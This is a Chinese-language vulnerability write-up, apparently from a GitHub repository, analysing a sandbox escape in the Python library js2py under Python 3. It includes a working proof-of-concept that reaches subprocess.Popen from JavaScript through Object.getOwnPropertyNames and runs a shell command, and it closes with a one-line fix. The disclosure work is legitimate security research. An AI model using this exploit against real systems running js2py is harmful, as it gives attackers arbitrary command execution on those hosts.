Skip to content

Latest commit

 

History

History
155 lines (111 loc) · 6.38 KB

analysis_zh.md

File metadata and controls

155 lines (111 loc) · 6.38 KB

前言

js2py是一个爬虫常用的python库,用来在python原生环境中解析并执行js代码,爬虫一般会用js2py来解析从网上爬取的js代码,从而模拟浏览器环境。

但是js2py有一个对于爬虫来说极其危险的功能:它支持在js中导入并使用python包,也就是说js2py允许js代码操控各个python库,直接和python环境交互。正是因此,我们可以使用类似Jinja SSTI的方式,在js2py环境中用一个python对象找到subprocess.Popen类,实现RCE.

而且js2py作为一个python2时代的,应用广泛且年久失修的包,想必分析起来也是相对容易的。

分析代码

JS代码转Python代码部分

一通下断点后可以找到js代码实际被解析的地方为host/jseval.pyEval函数,在其中下断点就可以看到js2py转换后的python代码。

比如说这段js代码

let a = 114
console.log(a)

最后会被解析成这段python代码

var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

可以看到js层的变量都储存在var这个python变量中,所有js层的值都干干净净地储存为PyJs类(这里的Js实际上是一个函数,后面讲),函数也是通过callprop进行调用,在正常情况下js代码是无法接触到python对象的。

这里在看代码的时候注意到作者很喜欢用字符串拼接来构造最终的python代码,就想着是不是可以通过构造js代码生成非法的python代码,从而实现构造任意python代码并执行,但是考虑到这条路比后面的这条路要难得多,就没有继续深挖。

Python数据转JS数据部分

为了拿到python对象并实现RCE,首先要看的当然是Python对象是如何转换成PyJs对象的

首先找到Js函数的实现,在base.py里。Js函数的作用是将传入的python值转换成对应的PyJs值,从而允许js代码操控这些值

def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # 此处省略若干代码
    else:  # try to convert to js object
        return py_wrap(val)

可以看到bool, float, list等python的基础数据结构会转换成专门的PyJs类,而其他类型的数据会由py_wrap处理,最终变成PyObjectWrapper

普通的PyJs类代表的是数字、布尔等普通的数据,而PyObjectWrapper代表的是python模块等特殊数据,所以我们只要拿到一个PyObjectWrapper类型的数据,就可以使用类似Jinja SSTI的方式依靠取属性实现RCE。

一般来说PyObjectWrapper类型的数据只有在开启了导入python包的功能后才能利用python包拿到,但因为js2py年久失修,没有认真考虑python2和python3的差异,最终导致了沙盒逃逸漏洞的产生。

插一条题外话,在看PyJs的实现时看到作者写了这么几行代码:

if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

可以说作者是非常讨厌python3的了

JS功能实现部分

js2py在提供js代码转python代码功能的同时,也提供了console, Object等多个内置对象用于支持正常的js代码运行。

我们的最终目标是绕过pyimport的限制拿到PyObjectWrapper对象。从上面的分析中可以看出,为了无中生有地拿到PyObjectWrapper对象,我们只能从内置对象的实现入手,从其中拿出PyObjectWrapper对象。

开始扫内置对象的实现代码,从constructors/jsobject.py中可以看到Object对象中各个函数的实现,其中有Object.keys等常用函数。

然后就可以从其中看到这个函数:

    def getOwnPropertyNames(obj):
        if not obj.is_object():
            raise MakeError(
                'TypeError',
                'Object.getOwnPropertyDescriptor called on non-object')
        return obj.own.keys()

js2py用dict来表示js中的对象,这里的keys()调用的是python字典的keys()。学过python的应该都知道,在python2中这个函数会返回一个列表,而在python3中会返回一个dict_keys view,而根据上面Js函数的实现,这个dict_keys会被转换成PyObjectWrapper,我们也就可以以此实现RCE

实现RCE

首先验证getOwnPropertyNames是不是可以拿到PyObjectWrapper

import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

打印了PyObjectWrapper(dict_keys([])),当然是可以的

然后根据这个对象拿到__getattribute__函数,就可以轻松地实现RCE了。当时写PoC的时候想得太复杂了,实际上只要使用__class__.__base__就可以拿到__getattribute__函数。

然后根据__getattribute__函数拿到object对象,再写一个递归函数就可以找到任意模块的任意类了,这里为了RCE找的是subprocess.Popen

新PoC如下:

import js2py

code = """
let cmd = "id"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result
"""

js2py.eval_js(code)

修复

既然知道问题出在getOwnPropertyNames函数里,那就把它返回的dict_keys转换成普通的列表就好了。